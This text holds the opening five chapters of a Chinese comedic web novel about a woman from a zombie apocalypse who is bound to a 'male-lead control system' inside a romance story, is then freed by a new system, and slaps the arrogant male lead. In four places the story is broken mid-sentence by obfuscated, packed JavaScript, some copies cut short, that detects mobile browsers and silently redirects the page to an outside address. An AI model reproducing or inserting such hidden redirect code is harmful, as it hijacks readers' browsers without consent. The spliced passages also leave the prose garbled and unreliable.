《没想到吧,我其实是百亿富翁》 1. 傻逼男主 凌云灏就是个傻逼。 大傻逼。 傻逼到不能再傻逼。 这是施浓半夜被吵醒后脑子里来回滚动的几句话。 凌晨两点半,狗都睡了,凌云灏他妈的还不睡觉,他到底想干什么啊? 他自己不睡觉也就算了,为什么还要跑来打扰别人啊? 扰人清梦,天打雷劈,这傻逼玩意难道不知道吗??? 施浓睁眼躺在床上,满脸怨气,耳边响得无比欢快的是专属于凌云灏的手机铃声以及男主控系统在她脑海里大喊大叫的声音。 【女人,你聋了吗?我阿灏宝宝给你打电话你没听见吗?你赶紧接电话啊!!!】 施浓一把拽过枕头蒙住脑袋,不想理它。 【行,装没听见是吧?好,这是你逼我的!女人,我警告你,不听话的宿主注!定!没!有!好!下!场!】 【本系统最后倒数五个数,如果你还是没有反应,还是不接我阿灏宝宝电话的话,本系统将采用暴力措施,直接抹杀你!本系统说到做到,看咱俩谁能硬过谁!】 【五,四,三,二……】 说时迟那时快,就在男主控系统即将喊出一的时候,躺在床上装死的施浓就像是被按下了重启键,顿时有了反应。 她一个弹跳坐起来,飞快地拿起手机。 而后她靠在床头,海藻般的头发如瀑布倾泻而下,就像一块上好的绸缎,完美遮住了她骂骂咧咧的小脸。 酝酿三秒,她深吸一口气,接起电话,开口就是甜甜腻腻的问候。 “阿灏哥哥~” 孙子,奶奶叫你一声你敢答应吗? “……” 沉默,一阵沉默。 确实没人答应。 电话那头半天都没人说话,回答施浓的只有震耳欲聋的音乐声、起哄声以及尖叫声……各种乱七八糟的声音混合在一起。 就一个字,吵。 四个字,鬼哭狼嚎。 施浓的脑瓜子嗡嗡的,太阳穴直跳,她压着脾气又喊了遍,对方才终于有了回应。 男人明显喝醉了,他大着舌头,扯着嗓子,声音几乎是吼出来的,一开口就是居高临下使唤仆人般的命令。 “施浓!我在是闲酒吧!你过来接我!!” 这句话一吼完,他就像个大爷似的,直接挂断了电话。 “……” 天啊,这是什么品种没有礼貌的垃圾啊! 小说里的霸总男主都这么傻逼的吗?? 如果隔空可以扇人的话,凌云灏这个大傻逼早就被她扇死了!!! 【女人,不准你骂我阿灏宝宝!别以为你在心里偷偷骂本系统就不知道!哼!机智如本系统已经从你的眼神里看出来了!】 【本系统再再次重申一遍,女人,你现在是《追你千百遍:总裁夫人很难追》这本书里的病弱女配施浓,你必须维持女配秀眉微蹙、泪光点点的病弱人设不崩,正常完成女配的剧情,才能活下去,否则就会被本系统抹杀!】 【女人,本系统严重警告你,如果你不想死的话,就乖乖听话,不要作死去试探本系统的底线!】 “……” 男主控系统在施浓脑海里暴跳如雷、大吼大叫,对此,施浓心里只有无语。 谁能想到,她原本一个自由自在的末世狂徒,歪打误撞绑定了个天杀的傻逼系统,莫名其妙就来到了这个世界。 傻逼系统告诉她,这个世界是本甜宠言情小说,而她,就是这本书里男主的头号备胎以及卑微舔狗—— 一个舔到最后一无所有-怒而黑化-反被秒杀-火速下线的悲惨病弱反派女配。 当然,这并不是最惨的。 天杀的傻逼系统还威胁她,说她必须得维持女配人设不崩,老实完成女配的剧情,否则就会被它抹杀! 这句话是什么意思呢? 意思就是她明明站在上帝视角,明明知晓所有的一切,明明她也有能力去改变,可她却什么都不能做,不仅要老老实实地走剧情,兢兢业业地演好戏,对霸总男主言听计从,尽心尽力地当好舔狗,最后还要敲锣打鼓地自己把自己给送走。 简而言之,我杀我自己! 无语,大无语。 虽然这样说可能不太礼貌,但她还是想认真地问一句—— 老天爷你是瞎了你的狗眼吗? 不是说好人有好报吗? 所以说她前世积的善行的德做的那八百件好事都他爹喂了狗么,结果就这??? …… 【女人,你为什么还不赶紧动起来!没听见我阿灏宝宝说什么嘛!他让你去是闲酒吧接他,你赶紧去啊!磨蹭什么?信不信本系统抹杀你啊!】 男主控系统再一次气急败坏的吼叫声瞬间打断了施浓的满腔怨念与怒火。 她低眉顺眼,乖乖巧巧地收起了一身的刺,老老实实地起床,出门,开车,继续当着她听话的狗。 憋屈,当然憋屈,至于说她为什么不反抗呢…… 呵,毕竟人受傻逼系统威胁,有时候不得不低头。 施浓还清晰记得那一天,那是她刚来这个世界的第一天。 傻逼系统一上来就威胁她,她当场就怒了,年少轻狂的她桀骜不驯地冲着系统比了个 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如果施浓算的没错的话,今天应该是男主凌云灏第七次向女主姜至告白,也是他第七次被女主毫不留情拒绝。 男主失恋买醉,而她就是那个无辜被波及的炮灰鱼,还他爹是她第七次被波及! 咋着,这现在已经变成固定流程了呗? 施浓仰头,第一万次发出来自灵魂深处的感慨—— 凌云灏真他爹傻逼啊! 就凌云灏这个品种的傻逼,除了傻逼系统把他当成宝,正常人谁他爹能看上他啊? 白送加倒贴都没人要! 女主拒绝他,说明眼没瞎。 施浓在是闲酒吧门口找了个停车位把车停好,她也不进去,就坐在车里,给凌云灏那个傻逼打电话。 凌云灏那个傻逼最好赶紧出来,她把他送回家,再回自己家,她五点四十上班,还能睡两个小时。 如果凌云灏耽误她连这最后两个小时都睡不成,就算系统把她电成黑炭,她一定要拉着傻逼男主同归于尽! 施浓的怨念颇深,满脸凶相,然而电话接通后,她的声音却还是尽显演技与台词功底的柔情蜜语。 “阿灏哥哥~” 或许是没想到一上来就是这么甜腻腻的问候,接电话的人明显一顿。 “呃……施小姐好,凌总不在,我是他的特助于淼。凌总让我转告你,他去天险山看日出了,让你再去那里找他。” “……” “???” 耍她玩呢? 傻逼凌云灏,你他爹准备受死吧!!! 2. 来日方长 凌晨四点。 向上看,黎明的曙光带走了黑夜的薄纱,烟蓝色的天空,还有一方是粉紫色的,朵朵盛开的云慢慢飘着,飘向山顶,飘向远方。 向下看,施浓开了一个小时的车气势汹汹地杀到了天险山。 天险山的路又绕又陡,非常不好走,差不多开到半山腰,施浓就听到了有人开着音响扯着嗓子在唱歌。 那歌声简直比天险山的山路还要绕,调都能跑到天险山的山顶去,总而言之就是超级无敌巨难听。 这么难听的歌声,除了凌云灏那个大傻逼也没别人了。 在这一刻,在听到凌云灏声音的这一秒,施浓顿时杀心四起,就像是打开了潘多拉魔盒,她内心所有的怨气、愤怒等等邪恶的情绪一下子全都被释放了出来。 一次两次也就算了,可这都是第七回了! 就这还不包括凌云灏在其他时候对她挥之即来,招之即去的羞辱!! 她施浓,没穿书前可是末世鼎鼎大名的女疯子,最是护短,也最是记仇。 她曾立下狂追一个丧尸十天十夜,每次抓到他只砍他一刀,钝刀子剌肉,足足剌了他九十九刀的赫赫战绩。 她也曾有过为了和一个异能者决斗,而向他所在基地的所有异能者下战书,最后以一己之力全部挑战成功的辉煌历史。 不是她吹,但有她在的地方,方圆十里没人敢靠近,就连丧尸也怕她。 想当初,她是何等的风光。 如今竟然被一个傻逼男主外加一个傻逼系统给欺负成这样??? 施浓紧紧地握着方向盘,眼睛死死盯着傻逼男主。 她在思考,到底是她先开车把男主撞死更快,还是男主控系统把她抹杀更快。 就在她目光坚定,即将踩上油门的那刻,一阵熟悉的噼里啪啦的电击声突然响起。 施浓条件反射起了一身的鸡皮疙瘩。 她突然就记起了那种被电得死去活来、痛不欲生的酸爽。 她的动作一顿。 与此同时,男主控系统阴恻恻的声音响了起来,暗含警告。 【女人,你想干嘛?是不是本系统最近对你太好,好到你非要给自己找点‘刺激’是吧?说真的,不想活了可以直接说,倒不必如此麻烦。】 “……” 施浓深吸一口气。 又开始了,这傻逼系统又开始威胁她了! 士可杀不可辱,她也是有尊严的! 她不再犹豫,脚猛地发力,只听见‘刺啦’一声响—— 一个完美的侧方停车诞生了! 施浓把车靠边停好,面不改色地下了车,就好像什么也没发生过。 事先声明,她不是怕了,更不是怂了! 只是世界如此美好,她不该如此暴躁。 她施浓报仇,十年不晚! 来日方长,反正傻逼放着又不会跑。 再说,就这么轻易让男主一命呜呼,实在是太便宜他了。 这些仇她都记着,风水轮流转,她相信总有一天她会亲手—— 干掉这大傻逼! …… 施浓暂时放了凌云灏一条小命,而后嘟嘟囔囔地朝人群走去。 在人群里,她一眼就精准锁定了凌云灏。 他不是一个人,身边还有一堆他的狐朋狗友。 他们一群人开了三四辆车,别人的车都规规矩矩地停在一边,只有他们的车七歪八扭地停在正中间,占据了相当一大片地方,非常之傻逼。 施浓能明显看到几个经过的路人极度看不惯他们但又拿他们没办法的幽怨小眼神。 毕竟他们几个人一看就是有钱的主,车也都是豪车,动辄就是百万、千万,普通人确实不敢惹,但这并不代表普通人不会骂他们。 施浓的视力很好,短短的五秒钟,她就已经看见至少有十个路人。 他们在经过凌云灏那群傻逼的时候会不由自主但又绝对真情实感地翻个白眼,然后啐上一口,轻声嘟囔一句:“妈的,装什么逼,一群傻逼!” 可即便男主如此没素质,却丝毫影响不了瞎了眼的男主控系统对着他犯花痴。 男主控系统一如既往地稳定发挥,在施浓脑海里疯狂地吹着男主的彩虹屁。 【啊啊啊好帅啊!我阿灏宝宝一如既往的帅气!如果帅气可以当饭吃的话,我阿灏宝宝的帅气足以养活全球七十多亿人!】 施浓:“……” 呸,要点脸吧。 【女人,你在等什么?发什么呆呢,赶紧过去啊!你没看见外面的风有多大么?你没看见我阿灏宝宝穿的有多单薄么?你还有没有点最起码的眼色啊!你赶紧去给我阿灏宝宝送外套啊!要是我阿灏宝宝被冻感冒了,你要负全责!!】 施浓:“……” 大晚上的不睡觉,谁让他跑到这里发疯的? 活该,咋不冻死他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487082|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢! 不过事已至此,说什么都没用。 施浓叹了口气,认命般往前走了几步,又不认命地拐了回去。 她从车里取出围巾,帽子,口罩,墨镜,一层层包裹,直到裹得亲妈都认不出来,这才满意地收手。 既然注定要去丢人,那她至少可以选择不被人看见脸。 收拾妥当后,施浓再次走了过去。 凌云灏一群人正在聊天,聊得热火朝天,内容还和她有关。 “阿灏,不就又被人拒了嘛,不就又失个恋嘛,算得了什么?” “俗话说得好,天涯何处无芳草,没了拒人千里之外的冰山冷美人,你不还有个楚楚可怜的病美人妹妹吗?” “对了,话说回来,病美人妹妹怎么还没来,不会出事了吧?” “呸!你个乌鸦嘴!能不能盼人点好?我觉得,施浓根本就不会来!” “试想,要是有人半夜把我喊起来让我去接人,等我到了地儿又放我鸽子,还让我跑到另一个地方……跟遛狗似的,我丫杀人的心都有了!鬼才会来!” “你们这群黑心肝的,把人姑娘呼来喝去,跟使唤丫鬟似的,忒坏了!” “这个锅我可不背啊!” “不都是阿灏的主意嘛!人家失恋了,就想来个天险山,失恋最大,我们还能拒绝吗?” 闻言,几个人的目光纷纷投向了坐在车顶的男人。 男人背对着众人,指间夹着一根点燃的烟,烟头的火星忽明忽暗。 他懒懒地坐在车顶,目光深沉地眺望远方,侧脸被凌晨的寒气一打,显得有几分冷冽。 或许是感受到了背后的视线,他半扭过头,嘴唇微勾,勾出一个恶劣又不屑的笑。 “我逼她了?我打她了?我拿刀威胁她了?不都是她自愿的嘛,怎么就黑心肝了?” “哈哈哈哈牛逼啊。要我说,你就是仗着人家喜欢你,要是有一天人家不喜欢你了,你丫就没这么狂了,指不定还要后悔呢!” “后悔?” 男人嗤笑了声,而后一个翻身从车顶跳了下来。 他把手里的烟头往地上随意一扔,用价值十万的鞋底狠狠地踩了上去,来回碾了几下,语气轻狂道:“我长这么大,就不知道后悔这两个字怎么写。” 男人扭头,笑得很轻蔑。 “再说,不就一个我召之即来挥之即去的狗,她的喜欢,值几个钱,也配我后悔?” 3. 系统抽风 爹的。 尽管被凌云灏当众羞辱的场面施浓来到这里后已经亲身经历了无数次,但每次她还是忍不住真情实感地骂上一句—— 凌云灏真傻逼啊! 是的,这个傻逼的男人就是凌云灏。 在原书里,他是当之无愧的气运之子,帅气多金的霸总男主,无数少女的梦中情人,挥挥手便能搅动风雨。 在傻逼系统眼里,他是完美无瑕的心尖宝,掌中娇,一颦一笑皆帅气,一言一行皆潇洒。 在施浓这里,他就是一个毫无风度,心眼贼小,满嘴喷粪,永远在装逼的大傻逼! 说真的,她还挺喜欢和他见面的,有一种上辈子造了大孽的无语感—— “施浓?” 就在施浓最无语的时候,一个声音打断了她的思绪,同时也吸引了周围一圈人的目光。 众人看着她,表情或怜悯或同情或揶揄或玩味,什么都有,却唯独没有背后说人坏话的尴尬与愧疚。 凌云灏闻言也看向了施浓。 他嘴角勾起,冲着施浓随意招了两下手,那漫不经心的姿态就像在招呼他家的狗。 凌云灏薄唇轻启,不冷不淡地吐出两个字:“过来。” “……” 什么意思? 真把她当狗了? 施浓深吸一大口气,竭力克制住她想要一巴掌扇死凌云灏的冲动,她乖巧地走过去,仰头望他,软软地喊了声:“阿灏哥哥。” 凌云灏又点了根烟,不紧不慢地吸了口,高高在上地垂眼看她,而后恶作剧般地将烟雾吐了她一脸,勾起嘴角,挑衅又恶意地“嗯”了一声。 “……” 嗯你爹! 是可忍孰不可忍! 猝不及防吸了一大口二手烟,施浓的怒气值更是直线飙升。 她皮笑肉不笑地看着凌云灏,死死地抓着手里的外套,要不是还有点残存的理智拼命拉着她,她真恨不得拿着外套劈头盖脸砸向他的狗头。 可凌云灏这狗非但没有半分收敛,还不要命地继续挑衅她。 “你怎么捂得这么严实,穿得跟个球似的。” 凌云灏上上下下打量了施浓好一阵,嫌弃地啧了一声。 “……” 还能为什么?嫌你们丢人啊! 你们这么没素质,胡乱停车、公众场合抽烟……丢人都丢到姥姥家了,她还要脸! 施浓取下墨镜,装模作样地咳了几声,咳得她一双黑眼睛顿时蒙上了层水雾,看上去泪光点点,我见犹怜。 她可怜巴巴道:“阿灏哥哥,我身体弱,吹不得风。山上的风这么大,我穿厚点,不容易生病。我还专门给你带了外套,你也穿上吧。” 男主控系统千叮咛万嘱咐一定要给男主带的外套,不管怎么着都得交到男主手里。 施浓举着外套,递到凌云灏跟前,可她举了半天,胳膊都举酸了,都没见这大爷舍得伸手接一接。 接啊,你他爹倒是接啊! 接个外套能要你命是吧? 施浓又举了半天,凌云灏还是一直没有反应。 就在她耐心耗尽,恨不得将外套抽他脸上的时候,凌大爷终于舍得给了反应。 他淡淡瞥施浓一眼,一脸嫌弃道:“不用,你以为谁都跟你一样娇气?我用不着。” 施浓:“……” 用不着不会早说,屎糊你嘴了? 施浓默默地收回外套,委屈巴巴地抱进怀里,她低着头站在一边,也不说话,看上去像是哭了。 凌云灏垂眼看她几眼,懒得管,也不想哄。 他收回视线,双手插兜,走在前头。 “走吧,我们上山!” 凌云灏一声令下,一群人顿时一阵欢呼,哗啦啦就跟上了他。 在这欢呼声中,施浓只想捡起地上被他们随意乱扔的烟头,一把塞进他们嘴里。 上你爹。 谁同意了? 你们这群富二代整天不学无术、游手好闲、无所事事也就算了,别他爹阻拦她进步啊! 她明天还有工作,她还要赚钱,她还要在岗位上发光发热呢! 施浓站在原地半天没动,人群里有人似乎注意到了她的异常。 “病美人妹妹,你没事吧?我们可是要徒步爬山呢。你身体这么虚弱,动不动就又咳又喘的……撑得住么?” 听到这话,凌云灏的脚步一顿。 说实在的,在这人说话以前,他完全没考虑过施浓的身体是否承受得住这个问题,或者说他根本不在意。 因为他很清楚地知道,不管他提出什么过分的要求,也不管这个要求施浓能不能做到,但只要是他说的,施浓就一定会答应。 施浓很听话,对他言听计从,他说往东她绝不往西,同时她也很聪明很有分寸。 她从不主动向他索取什么,也从不逾矩,就好像是养了一条最听话的狗,他想起来了就把她叫过来逗弄几下,想不起来了就心安理得地把她晾在一边。 她永远都在那里,只要他招手,她就会听话地走过来。 他知道施浓喜欢他,虽然他并不喜欢施浓,但他很享受被施浓喜欢,享受施浓眼里心里只有他一个的感觉。 尤其是在他每次被姜至拒绝后,自尊心受损,这个时候无论是施浓对他的喜欢,还是施浓对他言听计从的乖顺模样,都能给他一种莫大的心理安慰,让他瞬间自信心爆棚。 然后他就可以心安理得地安慰自己,姜至那个女人拒绝他,绝对不是因为他不够优秀、不够好,而是姜至那个女人眼瞎! 看吧,有的是人喜欢他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就在施浓怀疑这傻逼系统是不是在憋什么大坏要狠狠收拾她的时候,寂静的空间突然响起它热情洋溢的……传销诈骗话术? 【宿主,你想天降横财一夜暴富吗?你想财源滚滚万贯家产吗?你想财神常驻你家,钱包鼓鼓发发发吗?你想睡觉睡到自然醒,数钱数到手抽筋吗?绑定我,没烦恼,百亿补贴系统欢迎你的使用!】 4. 翻身农奴 “……” 嘶,这傻逼系统抽什么风呢? 施浓一脸的莫名其妙。 认真思考了片刻,在想到某种可能后,她如释重负地长舒一大口气。 随后,她虔诚地双手合十,语气万分庆幸。 【原来如此。菩萨保佑,原来出BUG的不是我!】 【……】 【宿主,你可能误会了。我没有出BUG,你也没有出BUG。你觉得有没有可能是……换系统了呢?】 “……” 啊? 什么鬼东西? 这玩意……还带换的啊??? 施浓还没想明白是怎么回事,一声呵斥瞬间打断了她所有思绪。 “施浓!” 她抬眼望去。 只见凌云灏的面色铁青,有一种五彩斑斓的黑,看上去比烤糊的地瓜还要难看。 他拳头紧握,目光死盯着她,一字一句道:“你刚说什么?” 施浓瞪大双眼,一脸无辜。 “我什么都没说。” 她是真什么都没·说。 心里话被开了外放可不是她的错。 傻逼男主玻璃心听不得实话还没怎么着就破防了更不是她的锅。 想着想着,施浓想到了一个很重要的事。 她暂且忽略掉眼前暴怒的男主,再次召唤系统。 【对了,系统,咱可得说清楚。你自己出BUG导致我人设崩了,这可不能怪在我头上,你要是因为这电我或者抹杀我,我可是要用我最大的恶意诅咒你——】 施浓聪明的小脑瓜那么一转,立马想到了一个对男主控系统来说比要它命还恶毒的诅咒。 【——最爱的宝贝凌云灏早衰早亡、不孕不育、百病缠身、负债累累、不得好死、死无葬身。此咒无解,立即生效!】 【……】 【……宿主,我想你搞错了,你一定是把我认成原来的男主控系统了,但我不是。】 【男主控系统是我们系统届一大败类,它丧心病狂,行事偏颇,独宠男主。为了男主,甚至不惜抢夺别人的气运,崩坏了万千世界。系统法庭本判了它重罪,其罪当被分解。可就在行刑当天,不幸被它逃脱,还强行绑定上了你,然后带着你来到了这个世界。】 【诚如男主控系统所言,这个世界确实是本书,但这本书的名字却不是男主控系统编出来的那个烂俗无比的《追你千百遍:总裁夫人很难追》,它的原名叫《穹顶星河》。】 【《穹顶星河》是一本群像小说,它以局外人的视角讲述了一个个的追梦故事。在这本书里,有逢山开路、遇水架桥的草根逆袭,有历经千帆、不忘初心的十年坚守,有坚定不移、绝地反击的逆风翻盘……在这本书里,人人都有梦,人人都追梦,人人都是主角,人人都了不起。】 【这本该是一个勇敢拼搏的励志故事,却被男主控系统魔改成了不伦不类的土味小言。原本有成长、有梦想、有热爱、有精彩人生的角色,一个个全成了围着男主转、为男主服务的工具人。而你,也是受害人之一。】 【原书里根本没有施浓这个角色,你不过是男主控系统凭空捏造出来的一个人物。所谓的病弱人设,所谓的男主忠诚舔狗,所谓的标准炮灰女配人生,不过是它提前为你设定好的剧本。】 【宿主,你原本应该有自己的人生。在末世,有事业、有朋友、有成就,而不应该仅仅局限于区区一个男人,更不应该成为男主控系统魔改剧情下的炮灰工具人!】 【为了弥补男主控系统对你造成的伤害,主神大人特意安排我与你绑定。我发誓,我说的都是真的,你完全可以相信我。我和男主控系统不一样,只要你和我合作,我不仅不会害你,还会给你光明的未来。】 “……” “???” “!!!” 好家伙,这一通输出,内容那可是相当炸裂。 都快把人炸碎了! 施浓的表情由-_-变成了(O.o)最后又变成了·O· 嘴巴张得比箱子还大。 在经历了漫长的三观俱碎-人生崩塌-世界地震-三观重塑后,施浓好不容易才重新找回她的声音。 她毫不犹豫道:【不信,骗子,闭嘴吧你。】 笑话! 她怎么可能在同一条阴沟里翻两次船! 任它说得天花乱坠,都不过是骗人的话术! 她心如磐石,坚不可摧! 【……】 沉默片刻,系统默默道:【好的,本着人道主义精神,既然宿主拒绝绑定,我也不会强迫。事已至此,那我就把你送回你的来处吧。】 一听这话,施浓终于来了点精神。 【你的意思是……我还可以回到末世?】 如果可以回去,那再好不过了。 她宁愿回到被丧尸围城追杀,每天与死神谈笑风生的刺激生活,也不想在这个傻逼的世界多呆一秒。 她早都受够了! 【不错。】 系统回答得很快。 【倦鸟归林,叶落归根,这是生命的归宿。】 【我保证,我会亲自把你送回去。如果我没记错的话,你在末世已经没有亲人了吧?】 【没事哒,本着人道主义精神,我会亲自为你挑选一块绝佳的风水宝地——有山有水有风景。风风光光把你厚葬,让你的灵魂得以安息。】 “……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487084|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >厚葬? 【末世的我……死了么?】 施浓不敢置信道:【不对啊,傻逼系统和我承诺过,只要我乖乖听话,完成所有的女配剧情,它就把我送回末世……】 说到这里,她后知后觉道:【所以傻逼系统一直在骗我?我根本回不去末世,就算回去也只有死路一条?】 【是的,宿主。男主控系统确实一直在骗你,它之所以承诺你这些,无非是想让你更好地为它所用。】 “……” 靠! 靠靠靠! 虽然施浓一直都知道男主控系统不是什么好东西,可她没想到它这么不是东西。 不过这也像是丧尽天良的傻逼系统能干出来的缺德事…… 这么一来,施浓倒是信了三分这个系统的话,但她并没有全信。 虽然这个系统信誓旦旦保证,但作为一个被前傻逼系统坑害过无数次的人,她还是表示怀疑。 这些系统套路深得很,谁知道它们给的是真糖,还是糖衣炮弹呢? 况且,她坚信—— 天上不会掉馅饼,更不会掉在她身上! 她就没那个好命! 施浓强压住内心的躁动,冷静道:【你别跟我玩那些花里胡哨的……你确定你不是在驴我???】 【没有。】 【怎么证明?】 【你想我怎么证明?】 【我扇凌云灏一耳光?】 【……】 【……好的,你随意吧。】 听到这声随意,施浓没有一丝犹豫,几步便走到了凌云灏跟前。 凌云灏目光冰冷地垂眼看她。 在晨光的倒映下,施浓的瞳仁乌黑清亮,皮肤白嫩细腻,有种干净的透亮。 她颊边笑意晕开,微微冲他一笑,笑得又乖又甜。 凌云灏一愣,随后目光便满是鄙夷与嘲讽。 她现在知道错了?知道跑来讨好他了?? 可惜晚了! 凌云灏眼中的厌恶更深,他一个‘滚’字刚要说出口,下一秒—— 一个巴掌似狂风暴雨,携以雷霆之势,狠狠地打在了他的右脸上。 巴掌声无比响亮,像是用尽了洪荒之力,听得众人的脸俱是一偏,仿佛身临其境。 凌云灏的头更是猛地一歪,右脸瞬间便肿了起来,脑瓜子嗡嗡的。 “……” “????” 现场再度安静了下来。 安静得像是全世界都停止了呼吸。 在这几乎静止的片刻,施浓轻笑了声,音色轻柔,像盛夏时节从山涧流下的水,听起来竟然格外清爽。 “早就想这么干了,真爽。” 5. 百亿补贴 “……” 施浓这话一出,现场再再次陷入死寂,没一个人说话。 短短的几秒,在场的人足足震惊了三回。 或者说,都不能用震惊来形容他们的心情,那简直就像是见了鬼。 他们忍不住回想这短短的几秒钟内发生的事情—— 施浓不仅当众驳凌云灏的脸面,骂他傻逼,现在还……动手扇凌云灏了??? 好家伙,她下手可不轻啊,那声音是真响亮…… 而且她打完了还说……爽??? 啊,这对吗? 这还是那个柔柔弱弱、对凌云灏言听计从、爱凌云灏爱得死去活来、在凌云灏面前毫无尊严、卑微到极致、也舔到极致的……施大舔狗吗? 在场的人一个个呆若木鸡,简直不敢相信他们看到了什么,听到了什么。 他们瞪大双眼,震惊的目光在施浓和凌云灏的身上来回流转,此时此刻内心有一万匹草泥马在来回奔腾。 不光他们,凌云灏也是如此。 他抬头,眼睛怒瞪着施浓,眼神里满是怒火,表情充满了不敢置信。 说实话,凌云灏从来没想过竟然会有这么一天。 他家境优渥,衘着金汤匙出生,养尊处优地长大,向来都是高高在上被人吹着捧着的公子哥。 从来只有他打别人的份,可如今他却……被人打了?? 打他的人还是老是追在他屁股后头、打也打不走、赶也赶不走、骂也骂不走、他向来都不怎么看得起的……施浓?? 凌云灏的脸色很难看。 他想不到施浓会打他,也想不明白施浓为什么会打他。 在他眼里,施浓就应该把他的每一句话都当做是圣旨对待,牢牢记在心里,谨小慎微,言听计从,就像之前无数次那样。 他们两个之间,如果说他是君王的话,那施浓就是他的奴仆。 从古至今,就没有奴仆以下犯上,敢骑在君王头上撒野的道理! 可她现在居然敢动手打他了……该死,她怎么敢的啊!! 越想越气,凌云灏脸黑如锅底,眼神刀子般刺人,整个人就像一座随时准备爆发的火山。 尤其在右脸火辣辣的疼痛感的刺激下,他更是双目猩红,目光愈发冰冷锐利,恨不得当场将施浓大卸八块。 “施浓!” 他暴喝一声。 闻言,施浓懒散地抬了抬眼,“叫你奶奶干嘛?” 凌云灏眼神锐利,咬牙切齿道:“你发什么疯,竟然敢打我?” “打你就打你喽……”施浓挑了下眉,“不然,还要告诉你一声?” “……” “可以啊。”施浓无所谓地耸耸肩,“如果你强烈要求的话,下次打你前,我一定告诉你。” “你……” 凌云灏被气得说不出话,他面色难看地瞥了眼施浓,这不看不要紧,一看他就愣住了。 只见施浓看向他的眼神清明又坦荡,同时又夹杂着嫌弃与厌恶,浑身上下的姿态拒他于千里之外,一点也不像之前看向他的目光总是充满了让人讨厌的狂热。 她这是怎么了? 总不可能突然就转性了吧? 凌云灏的目光带着探究,在想到某种可能后,他的嘴角浮现出明显的嘲讽。 他嗤笑一声,自信发言。 “施浓,你以为你拙劣地模仿姜至,我就会喜欢你了吗?” “……” 啊,什么鬼东西? 她模仿谁? 施浓一脸迷惑地看向凌云灏,忍不住开口道:“不是哥们,我打你不是显而易见的我不喜欢你,我烦你,我忍不了你了,你还自信上了?” “你没事儿吧?” 施浓一脸无语。 对此,凌云灏不听不理不想。 他只是一味地沉浸在自己的想法中。 “你不喜欢我?你烦我?你忍不了我了?” 凌云灏像是听到了什么笑话。 “施浓,你是忘了之前我随口一句想吃核桃酥,你凌晨三点发着高烧也要给我送去吗?” “还是忘了你拿着手机二十四小时等我回复,不管是清晨还是深夜,只要我一个电话,你就随叫随到,风雨无阻吗?” “江城谁不知道你就是我的头号舔狗……现在你说不喜欢我就不喜欢我了?谁信啊?你问问他们信吗?” 凌云灏指向了在场的其他人。 在场的人都是和凌云灏玩得时间久的人,施浓对凌云灏的深情他们都看在眼里。 施浓为凌云灏做过的事情,一桩桩一件件都是真的,她的感情难道会是假的吗? 不会,他们不信。 在场的人纷纷摇头,一个个头摇得跟拨浪鼓似的。 “……” 凌云灏不说还好,一说施浓瞬间就想起了以前她受过的所有屈辱。 跟狗似的,被傻逼系统呼来喝去,为凌云灏做尽了舔狗的事情,卑微到了骨子里。 这仇,这恨,一个巴掌根本不够! 施浓的火气翻涌。 左右开弓,啪啪又是两巴掌。 “……” “???” “!!!” 在场的人彻底傻了。 凌云灏也是。 根本没给他们反应的时候,施浓打完了转身就走。 她真是没功夫陪他们继续闹了。 看见凌云灏就晦气! 有这时间还不如回去睡大觉呢。 困死了。 施浓打了个哈欠,也不打算跟他们这群人继续纠缠下去。 “管你们呢,你们爱信不信,我要回去补觉喽。” 她拍拍手,毫无留恋,转身就走,背影无比潇洒。 “……” 看着施浓渐渐远去的背影,感受着左右两张脸同时传来的火辣辣的痛感,凌云灏面色阴沉,双眼赤红。 以前他不开心的时候,哪次不是施浓寸步不离地追在他屁股后面,又是哄又是道歉又是认错的,直到把他哄开心才行。 可这次他这么生气,还是施浓把他惹生气的,可她不仅不哄他、不道歉、不认错,还打了他三巴掌? 打完拍拍手就直接走了??! 她怎么敢的啊!! 越想越破防。 只听见砰一声。 暴怒的凌云灏一脚踹翻了旁边的垃圾桶。 垃圾瞬间撒了一地。 与此同时,他忍不住冲着施浓离开的背影无能狂怒道:“施浓,我他妈让你走了吗?” “施浓,你今天要是敢走,你以后就别他妈出现在我面前恶心我!” “……” 根本没人搭理他。 施浓不仅充耳不闻,甚至走得更快了,期间还不忘冲他比了个中指,以此来表达她的态度。 “……” 凌云灏看在眼里。 好,很好! 砰。 倒在地上的无辜的垃圾桶又被他狠狠踹了一脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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【别介啊,宿主。你不要急着拒绝我,不如先听听我能给你什么?】 “你能给我什么?” 没等系统开口,施浓主动提问道:“你能替我报仇,让傻逼男主还有傻逼系统彻底消失,永远也不出现在我眼前吗?” 系统为难道:【这恐怕不行,我的权限不够。】 